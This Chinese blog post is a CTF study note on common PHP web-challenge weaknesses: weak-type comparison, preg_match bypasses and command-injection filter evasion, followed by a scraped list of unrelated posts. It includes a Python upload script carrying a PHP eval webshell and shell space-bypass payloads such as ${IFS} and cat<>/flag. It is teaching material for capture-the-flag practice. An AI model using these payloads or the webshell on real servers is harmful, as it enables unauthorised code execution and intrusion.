CTF-PHP常见考点实例小结
CTF-PHP常见考点实例小结
0x00 CTF-PHP常见考点
1.php弱类型的比较
2.php断言问题
3.php读取文件问题
4.updatexml(),__wakeup ,preg_match等函数考点
5.sha1()函数与md5()知识点
6.异或注入绕过考点
7.源文件泄露
8.extract变量覆盖
9.strcmp漏洞…
10.RCE的命令执行绕过考点
总结的不是很全面,一些常见的考点,希望师傅们多多指点
看到网上不少师傅的总结,感觉不错值得学习。
下面取几个考点类型案例分析帮助理解,实际加强php类型考点多在靶场修炼才更深刻。
0x01 案例1:弱类型绕过案例
php存在=,==,===三种比较符号
第一个=相当于直接赋值的道理
第二个= = 会直接将对象转换为相同类在进行比较
第三个= = = 会判断两种类型对象是否相等,再作比较
<?php
var_dump("admin"==0); //true 0=0 为真
var_dump("1admin"==1); //true 1=1 为正
var_dump("admin1"==1); //false 0 不等于 1 返回假
var_dump("admin1"===1); //类型不等 为假
var_dump("admin"===1); //类型不等 为假
var_dump("0e123456"=="0e4456789"); //true 所有0e默认类为取值0 0=0 为真
var_dump("0e123456"==="0e4456789"); //类型相等数值不等 为假
?>
一段简短的代码审计题目帮助理解php弱类型
$num=$_GET['num'];
if(!is_numeric($num)) // is_numeric () 函数用于检测变量是否为数字或数字字符串。
{echo $num;if($num==1) //num=1xxx 即可构成 1=1 返回为真取值flagecho 'flag{**********}';
}
payload:num=1abc 构成比较为1=1 为真输出flag
0x02 preg_match函数绕过
首先了解preg_match函数作用:用于执行一个正则表达式匹配。赛题中用来过滤函数
<?php
//模式分隔符后的"i"标记这是一个大小写不敏感的搜索
if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {echo "查找到匹配的字符串 php。";
} else {echo "未发现匹配的字符串 php。";
}
?>
常见preg_match的绕过的三种方式:
(1)数组绕过,当传递参数为数组,会返回true
payload:传参:?a=[]=flag.php
(2)最大PCRE(正则查找匹配次数)突破,中文的回溯次数在100万次就会崩溃,构造exp突破次数即可返回truepauload:
import requests
from io import BytesIOfiles = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}res = requests.post('http://x.x.x.x:xx/index.php', files=files, allow_redirects=False)
print(res.headers)
(3)".“换行符绕过,”."不会匹配换行符payload:
if (preg_match('/^.*(flag).*$/', $json)) {echo 'Hacking attempt detected<br/><br/>';
}
//$json="\nflag"
if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {echo $flag;
}
//?a=flag%0a
参考了网上师傅总结,值得学习记录一下
0x03 案例2:RCE绕过案例
学习地址:BUUCTF(题目地址:ping ping ping)
题目页面:
发现flag地址:
空格被过滤:
绕过rce执行空格:php-rce绕过参考:https://zhuanlan.zhihu.com/p/391439312
符号被过滤
尝试绕过被过滤字符串flag:
空格绕过参考:
%09(url传递)(cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
{cat,flag}
总结:题目难度偏小 ,$IFS$2绕过空格加上拼接flag字符串,以;字符分割执行rce,获取flag。
RCE命令执行绕过总结网上很多,可以多加学习:命令执行(RCE)面对各种过滤,骚姿势绕过总结等
总结的文章对于爱好ctf的小白比较友好,希望有师傅们路过指点!
个人web学习笔记:CSDN用户名:告白热
https://blog.csdn.net/qq_53577336
转载自鹏组安全公众号内的内容
CTF-PHP常见考点实例小结相关推荐
- python字典操作添加_Python字典常见操作实例小结【定义、添加、删除、遍历】
本文实例总结了python字典常见操作.分享给大家供大家参考,具体如下: 简单的字典: 字典就是键值对key-value组合. #字典 键值对组合 alien_0 ={'color':'green', ...
- SHU汇编程序设计常见考点、易错点总结与综合实例、汇编学习资源
文章目录 SHU汇编程序设计常见考点.易错点总结与综合实例.汇编学习资源 一.常见考点 1.寻址方式 2.移位 3.乘除运算 4.加减操作 5.取址操作 6.出入栈 7.中断 8.标志位 9.常见的字 ...
- 【浏览器】浏览器原理及常见考点
浏览器原理及常见考点 一.浏览器安全 1.XSS(跨站脚本)攻击 2.CSRF攻击 3.中间人攻击 4.哪些操作会引起浏览器安全问题??? 5.网络劫持有哪几种?如何防范? 二. 进程与线程 1.进程 ...
- aspx 追加html标签,ASP.NET动态增加HTML元素的方法实例小结
本文实例讲述了ASP.NET动态增加HTML元素的方法.分享给大家供大家参考,具体如下: 在使用asp.net进行web开发的时候页面中的 中的信息可以通过asp.net的cs文件动态指定. 1.动态 ...
- php字符长度函数漏洞 ctf,CTF中常见php-MD5()函数漏洞
CTF中常见php-MD5()函数漏洞 1.数字与字符串之间的比较 var_dump( 0 == "a" ); var_dump( "0" == "a ...
- python3爬虫入门实例_10个python爬虫入门实例(小结)
昨天带伙伴萌学习python爬虫,准备了几个简单的入门实例 涉及主要知识点: web是如何交互的 requests库的get.post函数的应用 response对象的相关函数,属性 python文件 ...
- python编程遍历_Python字典遍历操作实例小结
本文实例讲述了Python字典遍历操作.分享给大家供大家参考,具体如下: 1 遍历键值对 可以使用一个 for 循环以及方法 items() 来遍历这个字典的键值对. dict = {'evapora ...
- 英语写作中常见的“转折”小结
英语写作中常见的"转折"小结 (1)一般意义上的"转折":but, yet, however,nevertheless(nonetheless), though ...
- html常见盒子居中小结
转载:https://blog.csdn.net/a785975139/article/details/78706440 html常见盒子居中小结 在写界面时,经常被元素居中的问题困扰.经过一番查阅资 ...
最新文章
- python读取内存和空闲内存
- OpenStack Nova Placement API 统一资源管理接口的未来
- 硬盘重新分区后有一个分区表信息丢失的数据恢复
- 未来计算机是什么结合的产物,计算机未来发展趋势 (2)
- python入门实践19章_Python 编程从入门到实践 第19章 注销一节问题
- 【飞秋】ASP.NET 之 常用类、方法的超级总结,并包含动态的EXCEL导入导出功能,奉上类库源码
- T3 - 构建大型 Web 应用的 JavaScript 框架
- uni-app登录+记住密码
- 教学案例 计算机,计算机教学案例
- 软件下载页面php,PHP网页制作软件下载
- iOS 各种证书/签名详解
- Linux 上安装Realtek瑞昱网卡驱动
- Spring5学习笔记------4、JdbcTemplate
- 群英齐聚铸辉煌!孔明在线企鹅社区成功启动!
- css样式属性值无效问题
- 数据分析:企业人力资源管理探索
- PL/SQL破解方法(不需要注册码)
- 在idea配置虚拟机参数与虚拟机内存溢出
- 设置漂亮的eclipse主题(Theme)风格
- Linux查看cc编译器版本,如何查看linux版本(转)
热门文章
- 教育认证有效期 有道云笔记_【进阶版】有道云笔记Markdown指南 | 有道云笔记官方博客...
- 同时查询多个快递单号物流单号查询
- 【附源码】计算机毕业设计java作业批改管理系统设计与实现
- Adobe Flash CS5中文版经典教程 下载地址
- Wiki的商业化之道
- Latex常见公式环境与对齐方式小节
- fastnest怎么一键排版_富文本编辑器的一键排版功能
- Linux系统如何操作关机或重启180.188.22.X
- 2048游戏实现,html+css+js
- StatefulSet如何提供稳定的网络标识和状态